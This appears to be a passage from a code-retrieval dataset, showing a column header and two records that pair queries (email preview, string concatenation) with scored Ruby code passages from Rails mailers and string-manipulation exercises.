query_id
stringlengths
32
32
query
stringlengths
7
6.75k
positive_passages
listlengths
1
1
negative_passages
listlengths
88
101
bfbcddcc918ef40f76e5014276919dbc
Preview this email at
[ { "docid": "fb9c202dbe956271f13aca10fed62c9b", "score": "0.0", "text": "def user_new_item_confirmation\n UserMailer.user_new_item_confirmation\n end", "title": "" } ]
[ { "docid": "f4f01bf0c4f6341760a71d13d7b6cc72", "score": "0.7310511", "text": "def preview_email\n email = UserMailer.emailing(@emailing)\n mail_inliner = Roadie::Rails::MailInliner.new(email, Rails.application.config.roadie)\n mail = mail_inliner.execute\n\n mail.html_part.decoded.gsub /http:\\/\\/coursavenue.com\\/UNSUB_PLACEHOLDER/, '*|UNSUB|*'\n end", "title": "" }, { "docid": "b31f6e281e5c32188de3858f7eb3861b", "score": "0.6892809", "text": "def preview(options={})\n building_message('preview', options)\n builder_for('preview').build!\n end", "title": "" }, { "docid": "2af71f794b481e1818b5a8cac93937f4", "score": "0.68353266", "text": "def retrieve_email_template_preview(request)\n start.uri('/api/email/template/preview')\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .post()\n .go()\n end", "title": "" }, { "docid": "338cee58ab4d317268fb98d884b2205b", "score": "0.6834859", "text": "def retrieve_email_template_preview(request)\n start.uri('/api/email/template/preview')\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .post()\n .go()\n end", "title": "" }, { "docid": "174960a76a8ec79314b2574c08e062a9", "score": "0.6801822", "text": "def show\n redirect_to new_email_template_preview_path(@email_template)\n end", "title": "" }, { "docid": "78a6d7dbc8759b407f0544c9c93b5fe6", "score": "0.6643096", "text": "def preview_test(content = 'Random content')\n @content = content\n mail subject: 'preview_test'\n end", "title": "" }, { "docid": "0638e6ba2509725495518708610c9547", "score": "0.658673", "text": "def show_raw\n I18n.with_locale @email_locale do\n @mail = @preview_class.new.send(params[:mail_action])\n RailsEmailPreview.run_before_render(@mail)\n if @part_type == 'raw'\n body = \"<pre id='raw_message'>#{html_escape(@mail.to_s)}</pre>\"\n else\n if @mail.multipart?\n body_part = (@part_type =~ /html/ ? @mail.html_part : @mail.text_part)\n else\n body_part = @mail\n end\n body = body_part.body\n if body_part.content_type =~ /plain/\n body = \"<pre id='message_body'>#{body}</body>\"\n end\n end\n render text: body, layout: false\n end\n end", "title": "" }, { "docid": "16730a748daa60684b80edbd8e5d6faa", "score": "0.63819754", "text": "def show_raw\n I18n.with_locale @email_locale do\n @mail = preview_mail(edit_links: (@part_type == 'text/html'))\n RailsEmailPreview.run_before_render(@mail, @preview_class.name, @mail_action)\n if @part_type == 'raw'\n body = \"<pre id='raw_message'>#{html_escape(@mail.to_s)}</pre>\"\n else\n if @mail.multipart?\n body_part = (@part_type =~ /html/ ? @mail.html_part : @mail.text_part)\n else\n body_part = @mail\n end\n body = body_part.body\n if body_part.content_type =~ /plain/\n body = \"<pre id='message_body'>#{body}</body>\"\n end\n end\n render text: body, layout: false\n end\n end", "title": "" }, { "docid": "e07a80174c8ef71b3a168593dc09eb44", "score": "0.63504976", "text": "def preview_url\n \"#{Fedena.hostname}/finance_settings/fees_receipt_preview?printer_type=#{self.receipt_printer_template}\"\n end", "title": "" }, { "docid": "d435d8817d2e9ce84f63a2b1494f6ced", "score": "0.63364995", "text": "def preview\n # TODO\n end", "title": "" }, { "docid": "0797c0eb85f9f54742e234851d9bd50e", "score": "0.625408", "text": "def previewInvitation()\n data = {\n iclaname: @iclaname,\n iclaemail: @iclaemail,\n pmc: @pmc,\n votelink: @votelink,\n noticelink: @noticelink\n }\n\n @disabled = true\n @alert = nil\n post 'validate', data do |response|\n @disabled = false\n @alert = response.error\n @memberEmail = response.memberEmail\n @pmcEmail = response.pmcEmail\n @invitation = response.invitation\n @token = response.token\n document.getElementById(response.focus).focus() if response.focus\n jQuery('#invitation-preview').modal(:show) unless @alert\n end\n end", "title": "" }, { "docid": "5b81eae78c6d80f2b6b44e017ead7c0d", "score": "0.6249753", "text": "def previewInvitation()\n data = {\n iclaname: @iclaname,\n iclaemail: @iclaemail,\n pmc: @pmc,\n votelink: @votelink\n }\n\n @disabled = true\n @alert = nil\n post 'validate', data do |response|\n @disabled = false\n @alert = response.error\n @userEmail = response.userEmail\n @pmcEmail = response.pmcEmail\n @invitation = response.invitation\n @token = response.token\n document.getElementById(response.focus).focus() if response.focus\n jQuery('#invitation-preview').modal(:show) unless @alert\n end\n end", "title": "" }, { "docid": "00a6d70b8bd88b76e0be0416857327d4", "score": "0.62370425", "text": "def gift_message_preview(sender_external_id, receiver_external_id)\n raise \"Method not implemented!\"\n end", "title": "" }, { "docid": "376aaca9fa2e15468363906d37eea90f", "score": "0.62325394", "text": "def retrieve_message_template_preview(request)\n start.uri('/api/message/template/preview')\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .post()\n .go()\n end", "title": "" }, { "docid": "af8279cf0cdfa5c24618eb4023bea4db", "score": "0.6215887", "text": "def preview()\n if @phase == :invite\n previewInvitation()\n elsif @phase == :discuss\n previewDiscussion()\n elsif @phase == :vote\n previewVote()\n end\n end", "title": "" }, { "docid": "5e3a048d2fbd3eb6971329c146a5d6b3", "score": "0.61329186", "text": "def preview\n end", "title": "" }, { "docid": "25f93f20195d3fd35daedad7f5b0c09f", "score": "0.61100966", "text": "def preview\n end", "title": "" }, { "docid": "25f93f20195d3fd35daedad7f5b0c09f", "score": "0.61100966", "text": "def preview\n end", "title": "" }, { "docid": "dd6aa98ece6241968904093b56980355", "score": "0.61069196", "text": "def preview; end", "title": "" }, { "docid": "dd6aa98ece6241968904093b56980355", "score": "0.6104919", "text": "def preview; end", "title": "" }, { "docid": "dd6aa98ece6241968904093b56980355", "score": "0.6104919", "text": "def preview; end", "title": "" }, { "docid": "0a13dbf037f9c9155cd43d77cc515a8e", "score": "0.60546684", "text": "def preview_recipient(subject)\n message_div(subject).div(:class=>\"inbox_name\").span.text\n end", "title": "" }, { "docid": "bea2f08ac6c764c4fb659b7e748b941e", "score": "0.6032449", "text": "def preview\n frm.button(:value=>\"Preview\").click\n PreviewDiscussionTopic.new(@browser)\n end", "title": "" }, { "docid": "bea2f08ac6c764c4fb659b7e748b941e", "score": "0.6032449", "text": "def preview\n frm.button(:value=>\"Preview\").click\n PreviewDiscussionTopic.new(@browser)\n end", "title": "" }, { "docid": "007b8607d0ff1d162d40a0406e83a119", "score": "0.5959996", "text": "def preview(body = {})\n @client.invoices.preview(body)\n end", "title": "" }, { "docid": "ce803899ba411373ddbaf7e8e9ce28e3", "score": "0.59346145", "text": "def send_preview(recipients, personalize=\"fallback\")\n options = { :body => {\n :PreviewRecipients => recipients.kind_of?(String) ?\n [ recipients ] : recipients,\n :Personalize => personalize }.to_json }\n post \"sendpreview\", options\n end", "title": "" }, { "docid": "0be89313ba7a6c9b6c2feab3d3dd96cc", "score": "0.5913642", "text": "def preview\n %(<blockquote>#{title}\n #{message.at(0..100)}#{message.length > 100 ? '...' : ''}</blockquote> )\n end", "title": "" }, { "docid": "9cc99683af4dc42641fd1a599d064ab9", "score": "0.58353764", "text": "def preview_body(subject)\n message_div(subject).div(:class=>\"inbox_excerpt\").text\n end", "title": "" }, { "docid": "8436fcb400ee3b0b42fb243a53f203ca", "score": "0.58256847", "text": "def preview\n frm.button(:value=>\"Preview\").click\n AssignmentsPreview.new(@browser)\n end", "title": "" }, { "docid": "089ad760be1aa61d4a24eb8082149bda", "score": "0.58011264", "text": "def send_resume\n ResumeMailer.send_resume\n end", "title": "" }, { "docid": "a181145e8cec601ac2e00de53e8e75a9", "score": "0.57311475", "text": "def preview_text\n return @preview_text\n end", "title": "" }, { "docid": "63978d82f9bcaf2f0cdcefa86d182be8", "score": "0.571992", "text": "def email_view\n html = \"\"\n html << (ActionController::Base.helpers.link_to self[:email], ApplicationController.helpers.edit_url(self.class.base_class, self))\n html.html_safe\n end", "title": "" }, { "docid": "47c371933f0699fccf50316c670edc18", "score": "0.5716237", "text": "def preview_in_browser\n raise ActionController::RoutingError, 'Not Found' if !all_conditions_respected? || [email protected]_sent?\n @content = @newsletter.content\n\n I18n.with_locale(@newsletter_user.lang) do\n render 'newsletter_mailer/send_newsletter'\n end\n end", "title": "" }, { "docid": "b9155eb9fccadbed9d4e6611c4f78a0d", "score": "0.5694853", "text": "def preview\n return @preview\n end", "title": "" }, { "docid": "75348a59de0e72f04b39a0d269bbbe81", "score": "0.5678175", "text": "def preview\n\t\t@template = ExtractionFormTemplate.find(params[:eft_id])\n\t\t@eft_id = \"eft#{params[:eft_id]}\"\n\t\t@sections = @template.eft_sections.collect{|x| x.section_name}\n\t\t@arms = @template.eft_arms\n\t\t@design_details = @template.eft_design_details.order(\"question_number ASC\")\n\t\t@baseline_characteristics = @template.eft_baseline_characteristics.order(\"question_number ASC\")\n\t\t@arm_details = @template.eft_arm_details.order(\"question_number ASC\")\n\t\t@outcome_details = @template.eft_outcome_details.order(\"question_number ASC\")\n\t\t@outcomes = @template.eft_outcome_names\n\t\t@adverse_columns = @template.eft_adverse_event_columns\n\t\t@quality_dimensions = @template.eft_quality_dimension_fields\n\t\t@quality_ratings = @template.eft_quality_rating_fields.order(\"display_number ASC\")\n\t\t\n\t\trender :layout=>false\n\tend", "title": "" }, { "docid": "0733e33e5c0a53420824ea98ff2d4a9e", "score": "0.5673164", "text": "def preview_profile_pic(subject)\n message_div(subject).parent.image(:class=>\"person_icon\").src\n end", "title": "" }, { "docid": "90d1ee048d9acae5809bc5c12c957e3e", "score": "0.5673096", "text": "def visualize_email(email, recipient_address)\n tf = Tempfile.new('email_visualize')\n tf.puts email.to_s\n tf.close\n `cat #{tf.path} | sendmail -t #{recipient_address}`\nend", "title": "" }, { "docid": "fcd459d3562b101a7a3e437356007e79", "score": "0.56721604", "text": "def preview\n entity[:preview]\n end", "title": "" }, { "docid": "44ea80774c61b90bcaba6d74ea0f29c1", "score": "0.56689703", "text": "def preview\n frm.link(:text=>\"Preview\").click\n PreviewOverview.new(@browser)\n end", "title": "" }, { "docid": "44ea80774c61b90bcaba6d74ea0f29c1", "score": "0.56689703", "text": "def preview\n frm.link(:text=>\"Preview\").click\n PreviewOverview.new(@browser)\n end", "title": "" }, { "docid": "fcb6e49325631dd6eb28d536616643d2", "score": "0.5666481", "text": "def preview(object)\n \n end", "title": "" }, { "docid": "86221619f2dbc1e6f99be6597dbfdaa4", "score": "0.5654249", "text": "def preview(**options); end", "title": "" }, { "docid": "d6fceb13866a36b6365d36bf6b9a10cd", "score": "0.56367975", "text": "def show_body\n prevent_browser_caching\n cms_edit_links!\n with_email_locale do\n _, body = mail_and_body\n render inline: body, layout: 'rails_email_preview/email'\n end\n end", "title": "" }, { "docid": "1f2ed06b63d1c4977a425d1de396581c", "score": "0.56233704", "text": "def preview\n return self.content[0...MAX_PREVIEW_LENGTH]\n end", "title": "" }, { "docid": "a2a0708a310d01982fbb003def48a342", "score": "0.5615281", "text": "def preview_post\n bodyArray = body.split(//)\n print bodyArray[0..4].join(\"\")\n end", "title": "" }, { "docid": "603c8b7667eeda1cb69b1ff59203a8d1", "score": "0.55954224", "text": "def preview\n words = self.body.split(' ')\n preview = words[0, 24].join(' ') + \"...\"\n return preview\n end", "title": "" }, { "docid": "603c8b7667eeda1cb69b1ff59203a8d1", "score": "0.55954224", "text": "def preview\n words = self.body.split(' ')\n preview = words[0, 24].join(' ') + \"...\"\n return preview\n end", "title": "" }, { "docid": "1a39fff727563e1e5412f5ca00d1f60f", "score": "0.558035", "text": "def preview\n validate_arguments!\n error_if_no_local_bot_found\n\n response = api.update_bot(bot, parse_manifest)\n if response.is_a?(Turbot::API::FailureResponse)\n error_message(response)\n end\n\n response = api.destroy_draft_data(bot)\n if response.is_a?(Turbot::API::FailureResponse)\n error_message(response)\n end\n\n puts 'Sending to Turbot...'\n\n handler = Turbot::Handlers::PreviewHandler.new(bot, api)\n runner = TurbotRunner::Runner.new(working_directory, :record_handler => handler)\n rc = runner.run\n\n if rc == TurbotRunner::Runner::RC_OK\n response = handler.submit_batch\n if response.is_a?(Turbot::API::SuccessResponse)\n if handler.count > 0\n puts \"Submitted #{handler.count} records to Turbot.\\nView your records at #{response.data[:url]}\"\n else\n puts 'No records sent.'\n end\n else\n error_message(response)\n end\n else\n puts 'Bot failed!'\n end\n end", "title": "" }, { "docid": "22f73f87cbb13375b49f95b326bb182a", "score": "0.55714285", "text": "def preview\n @preview ||= Preview.new self\n end", "title": "" }, { "docid": "22f73f87cbb13375b49f95b326bb182a", "score": "0.55714285", "text": "def preview\n @preview ||= Preview.new self\n end", "title": "" }, { "docid": "85b4c928c0ba3aacc501a9e99a3cc205", "score": "0.556691", "text": "def content_preview\n self.send(content_preview_method)\n end", "title": "" }, { "docid": "85b4c928c0ba3aacc501a9e99a3cc205", "score": "0.556691", "text": "def content_preview\n self.send(content_preview_method)\n end", "title": "" }, { "docid": "85b4c928c0ba3aacc501a9e99a3cc205", "score": "0.556691", "text": "def content_preview\n self.send(content_preview_method)\n end", "title": "" }, { "docid": "85b4c928c0ba3aacc501a9e99a3cc205", "score": "0.556691", "text": "def content_preview\n self.send(content_preview_method)\n end", "title": "" }, { "docid": "98c6a79aff36e16054c44d46ceb02e91", "score": "0.5561298", "text": "def setup_preview\n \n end", "title": "" }, { "docid": "44f07cdffe8e3aa49281cb5d8d87f1a9", "score": "0.55603474", "text": "def edit\n @review_email = @review.order.emails.build({order: @review.order, email_type: 'review', uuid: @review.uuid })\n render layout: false\n end", "title": "" }, { "docid": "d02590da2d541720cfc9e50f188c9ac4", "score": "0.5559292", "text": "def email\n @subtitle = \"Email\"\n end", "title": "" }, { "docid": "8da3fc5a1602e56bf7a622069bee3ee1", "score": "0.5554026", "text": "def preview\n preview_html=''\n preview_html = preview_documentation if options.meta # defined in meta.rb\n call_browser(\"data:text/html,#{CGI::escape(preview_html).gsub(/\\+/,'%20')}\")\n end", "title": "" }, { "docid": "4df5f86e163b8f74e08e443237cb134e", "score": "0.55515796", "text": "def preview_text(maxlength = 30)\n essence.preview_text(maxlength)\n end", "title": "" }, { "docid": "72a9ad562c05fe59143ae7975d6ad740", "score": "0.5551037", "text": "def preview\n @preview ||= ROCrate::Preview.new(self)\n end", "title": "" }, { "docid": "c09afc6bcf6c0a647969a2e61a9e8782", "score": "0.5549038", "text": "def preview\n @template = Template.find(params[:id])\n auth!(action: :preview)\n\n if stale?(last_modified: @template.last_modified.utc, etag: @template, public: true)\n # Hide the fields if the hide_fields param is set,\n # show them by default though.\n @hide_fields = false\n if !params[:hide_fields].nil?\n @hide_fields = [true, \"true\", 1, \"1\"].include?(params[:hide_fields])\n end\n\n # Hide the field names if the hide_text param is set,\n # show them by default though.\n @hide_text = false\n if !params[:hide_text].nil?\n @hide_text = [true, \"true\", 1, \"1\"].include?(params[:hide_text])\n end\n\n @only_fields = []\n if !params[:fields].nil?\n @only_fields = params[:fields].split(',').map{|i| i.to_i}\n end\n\n jpg = Mime::Type.lookup_by_extension(:jpg) #JPG is getting defined elsewhere.\n if([jpg, Mime::PNG, Mime::HTML].include?(request.format))\n @image = nil\n @image = @template.preview_image(@hide_fields, @hide_text, @only_fields)\n\n # Resize the image if needed.\n # We do this post-field drawing because RMagick seems to struggle with small font sizes.\n if !params[:height].nil? || !params[:width].nil?\n require 'concerto_image_magick'\n @image = ConcertoImageMagick.resize(@image, params[:width].to_i, params[:height].to_i)\n end\n\n case request.format\n when jpg\n @image.format = \"JPG\"\n when Mime::PNG\n @image.format = \"PNG\"\n end\n\n data = nil\n data = @image.to_blob\n\n send_data data,\n filename: \"#{@template.name.underscore}.#{@image.format.downcase}_preview\",\n type: @image.mime_type, disposition: 'inline'\n else\n respond_to do |format|\n format.svg\n end\n end\n end\n end", "title": "" }, { "docid": "47e9746a0d7aa24dae93513b9ea87cdd", "score": "0.55282027", "text": "def preview=(value)\n @preview = value\n end", "title": "" }, { "docid": "5fa3d3f7ee3f77048a0b4bda718ae25c", "score": "0.55279285", "text": "def preview()\n merge(preview: 'true')\n end", "title": "" }, { "docid": "cc395c791ed2a1faae1418b1fbfa9683", "score": "0.5527906", "text": "def preview\n @preview ||= Preview.new self\n end", "title": "" }, { "docid": "6ca2ba021b49dc42c4a8520927aad7a7", "score": "0.5527687", "text": "def preview\n show 10\n end", "title": "" }, { "docid": "b3d75d032542fc706e7bfcca69449247", "score": "0.5524942", "text": "def to_url\n \"#{self.class.to_preview_dir}/#{to_filename}\"\n end", "title": "" }, { "docid": "f59acf49a5127ed076526972b0697a56", "score": "0.5520847", "text": "def set_Preview(value)\n set_input(\"Preview\", value)\n end", "title": "" }, { "docid": "131f5be72d8d91fe8bc37cf6065d9caf", "score": "0.55182135", "text": "def preview(attachment, options)\n Rails.application.routes.url_helpers.rails_representation_path(attachment.preview(options), only_path: true)\n end", "title": "" }, { "docid": "8ba99c9c3a36c8aa22be56372e0843a9", "score": "0.55156475", "text": "def resume_received(resume)\n @resume = resume\n mail :to => '[email protected]', :subject => '收到一份新简历'\n end", "title": "" }, { "docid": "d717db95361c1aa70ac0a8a35a3379fc", "score": "0.55144835", "text": "def preview_sender(subject)\n message_div(subject).div(:class=>\"inbox_name\").button.text\n end", "title": "" }, { "docid": "2bb2cc7c42c7921a12be8b52394022d9", "score": "0.55136436", "text": "def content_preview\n \"#{I18n.l(self.created_at.to_date, format: :long)} - #{self.body}\"\n end", "title": "" }, { "docid": "2bb2cc7c42c7921a12be8b52394022d9", "score": "0.55136436", "text": "def content_preview\n \"#{I18n.l(self.created_at.to_date, format: :long)} - #{self.body}\"\n end", "title": "" }, { "docid": "2bb2cc7c42c7921a12be8b52394022d9", "score": "0.55136436", "text": "def content_preview\n \"#{I18n.l(self.created_at.to_date, format: :long)} - #{self.body}\"\n end", "title": "" }, { "docid": "c66391f9adcbe7a9ac9bb68c18c0e488", "score": "0.5510694", "text": "def file_preview\n lines = File.readlines(@current_failure.file_name)\n\n lines.insert(\n @current_failure.line_number + 1,\n \"#{indentation_on_failure_line(lines)}^^^ #{@current_failure.message.gsub(/(\\[\\d;\\d{2}m|\\[0m)/, '')}\"\n )\n\n content = lines[@current_failure.line_number - 5..@current_failure.line_number + 5].join(\"\\n\")\n puts content\n end", "title": "" }, { "docid": "2387b560e7fa723e123a41444cd636a4", "score": "0.5492708", "text": "def preview\n \t# get the rich text html output, remove tags, then truncate for preview\n \ttruncate(strip_tags(text_content), :length => 140 )\n end", "title": "" }, { "docid": "14898447ba9d5b77d8e5d662eceb8d83", "score": "0.549161", "text": "def proposal_email(user, rate, description, name, walker_num, walker_mail)\n \t@user = user\n \t@proposal_rate = rate\n \t@proposal_description = description\n \t@walker_name = name\n \t@walker_phone = walker_num\n \t@walker_email = walker_mail\n \tmail(to: @user.email, subject: \"You received a new proposal\")\n end", "title": "" }, { "docid": "c66982e9b92187ae09e9fba27b9f91f9", "score": "0.5484281", "text": "def preview\n # mockup our models for preview.\n @post = Post::ViewAdapter.new(post_repo.create)\n @post.assign_attributes(params[:post])\n @post.user_id = monologue_current_user.id\n @post.published_at = Time.zone.now\n\n # render it exactly as it would display when live.\n render \"/monologue/posts/show\", layout: Monologue.layout || \"/layouts/monologue/application\"\n end", "title": "" }, { "docid": "cbfaf93e8dfde016fae0186e7ae256c8", "score": "0.54802716", "text": "def preview\n frm.button(:value=>\"Preview\").click\n @@file_number=0\n AssignmentStudentPreview.new(@browser)\n end", "title": "" }, { "docid": "b8f155c6eabd307c5e651fbb77ce77db", "score": "0.54713935", "text": "def preview_mass(access_token, preview_hash)\n url = 'https://api.weixin.qq.com/cgi-bin/message/mass/preview'\\\n \"?access_token=#{access_token}\"\n Helper.http_post(url, preview_hash.to_json)\n end", "title": "" }, { "docid": "181ccfe0a1c16aaf979b3f8814a59154", "score": "0.5469446", "text": "def preview_body\n snippet = body[0..10]\n puts \" #{snippet} \"\n end", "title": "" }, { "docid": "6e3ce3bdf7eacbf8e674728ff677facc", "score": "0.54592174", "text": "def body_preview=(value)\n @body_preview = value\n end", "title": "" }, { "docid": "867ae405b291ef476e91b6e9f8d719b5", "score": "0.5457957", "text": "def preview\n frm().button(:value=>\"Preview\").click\n PreviewBloggerPost.new(@browser)\n end", "title": "" }, { "docid": "867ae405b291ef476e91b6e9f8d719b5", "score": "0.5457957", "text": "def preview\n frm().button(:value=>\"Preview\").click\n PreviewBloggerPost.new(@browser)\n end", "title": "" }, { "docid": "f7c4b34ba7dbd575fa6d406a8b13704c", "score": "0.545609", "text": "def edit\n @error = flash[:error] || \"\"\n @errorline = flash[:errorline] || 0\n @template = flash[:template] || File.open(Rails.root.join(\"app\", \"views\", \"billing\", \"reminder_email.html.haml\").to_s, 'r') do |f|\n template = \"\"\n while line = f.gets\n template += line\n end\n template\n end\n end", "title": "" }, { "docid": "b7685a8cc700946c2385e6dd2885d24c", "score": "0.5454723", "text": "def edit\n @error = flash[:error] || \"\"\n @errorline = flash[:errorline] || 0\n @template = flash[:template] || File.open(Rails.root.join(\"app\", \"views\", \"billing\", \"bill_email.html.haml\").to_s, 'r') do |f|\n template = \"\"\n while line = f.gets\n template += line\n end\n template\n end\n end", "title": "" }, { "docid": "c8f6272411b27c30475682bbf50da6ea", "score": "0.545439", "text": "def link_to_preview(text, preview_url, options={})\n modal_tag text, \n render(\"previews/modal_preview_status\", title: text.capitalize), \n class: \"preview-link #{options[:class]}\", \n data: {'preview-url' => preview_url},\n title: \"Preview\"\n end", "title": "" }, { "docid": "50a3d580ae799e899a11a7f6f61fcc88", "score": "0.54467773", "text": "def content_preview\n self.body\n end", "title": "" }, { "docid": "50a3d580ae799e899a11a7f6f61fcc88", "score": "0.54467773", "text": "def content_preview\n self.body\n end", "title": "" }, { "docid": "50a3d580ae799e899a11a7f6f61fcc88", "score": "0.54467773", "text": "def content_preview\n self.body\n end", "title": "" }, { "docid": "6121ad8cd0bd8084487c7cdbebde86ac", "score": "0.5445763", "text": "def preview_name; end", "title": "" }, { "docid": "fd2fa4ca5a6f36e56176aa5754265e76", "score": "0.5443265", "text": "def preview_text\n text = \"\"\n begin\n my_contents = my_description[\"contents\"]\n unless my_contents.blank?\n content_flagged_as_preview = my_contents.select{ |a| a[\"take_me_for_preview\"] }.first\n if content_flagged_as_preview.blank?\n content_to_take_as_preview = my_contents.first\n else\n content_to_take_as_preview = content_flagged_as_preview\n end\n preview_content = self.contents.select{ |content| content.name == content_to_take_as_preview[\"name\"] }.first\n unless preview_content.blank?\n if preview_content.essence_type == \"EssenceRichtext\"\n text = preview_content.essence.stripped_body.to_s\n elsif preview_content.essence_type == \"EssenceText\"\n text = preview_content.essence.body.to_s\n elsif preview_content.essence_type == \"EssencePicture\"\n text = (preview_content.essence.picture.name rescue \"\")\n elsif preview_content.essence_type == \"EssenceFile\" || preview_content.essence_type == \"EssenceFlash\" || preview_content.essence_type == \"EssenceFlashvideo\"\n text = (preview_content.essence.file.name rescue \"\")\n else\n text = \"\"\n end\n else\n text = \"\"\n end\n end\n rescue\n logger.error(\"#{$!}\\n#{[email protected]('\\n')}\")\n text = \"\"\n end\n text.size > 30 ? text = (text[0..30] + \"...\") : text\n text\n end", "title": "" }, { "docid": "ed65161c3763683fd87a06afc3ace79c", "score": "0.5439094", "text": "def preview\n # Needed to carry a previous campaign ID through for redirect back to campaign once complete. \n @campaign_id = params[:campaign_id] \n\n # pull in the values from parameters\n \t@campaign \t= params[:grcid]\n \t@env \t\t= params[:env]\n \t@brand \t\t= params[:brand]\n \t@platform \t= params[:platform]\n\n # pull in the imported text from field\n \t@imported_data \t= params[:offerdata]\n\n # split data on new lines (breaks data into rows)\n \t@parsed_data \t= @imported_data.split(\"\\n\")\n\n # create empty preview collection for preview page (holds rows)\n \t@preview = [] \n \t@parsed_data.each do |item|\n # split data on tabs (breaks rows into cells)\n \t\titem = item.split(\"\\t\")\n \t\titem.each do |entry|\n # clean up whitespace\n \t\t\tentry.strip! \n \t\tend\n\n \t\tif(item[0] != \"OfferCode\") # ignore headers if present\n\t \t\[email protected](item) # submit row to preview collection\n\t \tend\n \tend\n end", "title": "" }, { "docid": "ccc88215c57696890fe589471a7a98d3", "score": "0.5434434", "text": "def live_preview(line_id)\n @io << @templates[:live_preview].result(binding)\n end", "title": "" }, { "docid": "08aef130e2006dda7fe1c5a2f3f11124", "score": "0.5433947", "text": "def preview=(preview)\n @preview = claim(preview)\n end", "title": "" }, { "docid": "10775c1162dd921da81a2f98e79fbe99", "score": "0.54337317", "text": "def preview(matrixname)\n frm.table(:class=>\"listHier lines nolines\").tr(:text=>/#{Regexp.escape(matrixname)}/).link(:text=>\"Preview\").click\n end", "title": "" }, { "docid": "10775c1162dd921da81a2f98e79fbe99", "score": "0.54337317", "text": "def preview(matrixname)\n frm.table(:class=>\"listHier lines nolines\").tr(:text=>/#{Regexp.escape(matrixname)}/).link(:text=>\"Preview\").click\n end", "title": "" }, { "docid": "1967b2b99c9ac21426badc4365f22eb0", "score": "0.54334164", "text": "def to_display\n email_message.display_to\n end", "title": "" }, { "docid": "e032bcb3f29c6be67784b0ddff4d8ba9", "score": "0.54332745", "text": "def bar_preview\n UserMailer.bar(User.first)\n end", "title": "" }, { "docid": "f42b6f19bf7506694927267b83d79e8e", "score": "0.54260284", "text": "def get_email_campaign_preview(campaign_id)\n Services::EmailMarketingService.get_campaign_preview(campaign_id)\n end", "title": "" }, { "docid": "786f9b527bb7e77fd7bf1f81e715062f", "score": "0.54253256", "text": "def preview\n # mockup our models for preview.\n @post = Monologue::Post.new post_params\n @post.user_id = monologue_current_user.id\n @post.published_at = Time.zone.now\n # render it exactly as it would display when live.\n render \"/monologue/posts/show\", layout: Monologue::Config.layout || \"/layouts/monologue/application\"\n end", "title": "" }, { "docid": "786f9b527bb7e77fd7bf1f81e715062f", "score": "0.54253256", "text": "def preview\n # mockup our models for preview.\n @post = Monologue::Post.new post_params\n @post.user_id = monologue_current_user.id\n @post.published_at = Time.zone.now\n # render it exactly as it would display when live.\n render \"/monologue/posts/show\", layout: Monologue::Config.layout || \"/layouts/monologue/application\"\n end", "title": "" } ]
99bb7ed886528f4b9e4847418b781fcc
=begin Write a method that takes two strings as arguments, determines the longest of the two strings, and then returns the result of concatenating the shorter string, the longer string, and the shorter string once again. You may assume that the strings are of different lengths. =end
[ { "docid": "1ebe145da791f531ea58cf8ba8be935d", "score": "0.0", "text": "def short_long_short(str1, str2)\n if str1.size > str2.size\n long_string = str1\n short_string = str2\n else\n long_string = str2\n short_string = str1\n end\n concat_string = short_string + long_string + short_string\nend", "title": "" } ]
[ { "docid": "5f9f898ab739c70da9a0004ac78f4b7d", "score": "0.8528593", "text": "def longest(s1, s2)\n (s1 + s2).split('').uniq.sort.join\nend", "title": "" }, { "docid": "692df0e08f89c5c764d71ec2d9ac1448", "score": "0.84562093", "text": "def longest string1, string2\n new_str = string1 << string2\n new_str.split(\"\").uniq.sort.join(\"\")\nend", "title": "" }, { "docid": "d0a0f56b33b0125cb8d2fbdfd1d6ed62", "score": "0.84539664", "text": "def longest(s1, s2)\n s3 = s1 + s2\n s3.split(\"\").uniq.sort.join(\"\")\nend", "title": "" }, { "docid": "3c57a9f28de05ab293dd18860e308eaf", "score": "0.8413633", "text": "def longest(a1, a2)\n both_strings = a1 + a2\n both_strings.split('').uniq.sort.join('')\nend", "title": "" }, { "docid": "0680cda2f512d3b4b5b8e1a99da39505", "score": "0.8365392", "text": "def longest(a1, a2)\n str = a1 + a2\n str.split(\"\").uniq.join\nend", "title": "" }, { "docid": "507995950f049a4fab8bd73b948d34ee", "score": "0.83483416", "text": "def longest(string1,string2)\n (string1.chars + string2.chars).sort.uniq.join\nend", "title": "" }, { "docid": "1bd02aa8793e4eff62f3df75f3bc8a08", "score": "0.82354504", "text": "def longest(a1, a2)\n return (a1 + a2).chars.uniq.sort.join\nend", "title": "" }, { "docid": "f9f0af8baf4288ff8dd214ad997424ef", "score": "0.822717", "text": "def longest(a1, a2)\n (a1+a2).chars.uniq.sort.join\nend", "title": "" }, { "docid": "ce52472d1d030bc72fab73667b783d2b", "score": "0.81903535", "text": "def longest(a1, a2)\n (a1 + a2).chars.uniq.sort.join\nend", "title": "" }, { "docid": "1744f1c1128e52b96f52499c1ad3d692", "score": "0.8187792", "text": "def longest(a1, a2)\n (a1.split(\"\") + a2.split(\"\")).uniq.sort.join\nend", "title": "" }, { "docid": "92eb5d8b8ddacc7b1c2dc5df4c5c9e50", "score": "0.8171227", "text": "def longest(a1, a2)\n (a1 + a2).split('').uniq.sort.join\nend", "title": "" }, { "docid": "2b26ee1fe6c7481298a441ad80503048", "score": "0.81658876", "text": "def longest(a1, a2)\n \n (a1+a2).chars.uniq.sort.join\n \n end", "title": "" }, { "docid": "69970023a3daa07c00abf1aec910dc6b", "score": "0.81647307", "text": "def longest(a1, a2)\n (a1 + a2).split(\"\").uniq.sort.join(\"\")\nend", "title": "" }, { "docid": "ddfc10ba01ac42e7552a2bd3f7fc192d", "score": "0.81633663", "text": "def longest(a1, a2)\r\n\r\nend", "title": "" }, { "docid": "6d41a1dbfbc47b5752c39ad0ad878b32", "score": "0.81520647", "text": "def longest(a, b)\n arr1 = a.split(\"\")\n arr2 = b.split(\"\")\n joined = arr1.concat(arr2)\n return joined.uniq.sort.join\nend", "title": "" }, { "docid": "49c84577200bc9bf515d4c394f91cb75", "score": "0.81378937", "text": "def longest(a1, a2)\n (a1 + a2).split(\"\").uniq.sort.join\nend", "title": "" }, { "docid": "1be158b7b97fe02afa313e04d2d97b10", "score": "0.8135725", "text": "def longest(a1, a2)\n # (a1 + a2).chars.uniq.sort.join\n (a1 + a2).chars\n .uniq\n .sort\n .join\nend", "title": "" }, { "docid": "6d41928f9fadd97e001a97d1e3c81b44", "score": "0.8120102", "text": "def longest(a1, a2)\n big_s = a1 + a2\n big_s.downcase!\n 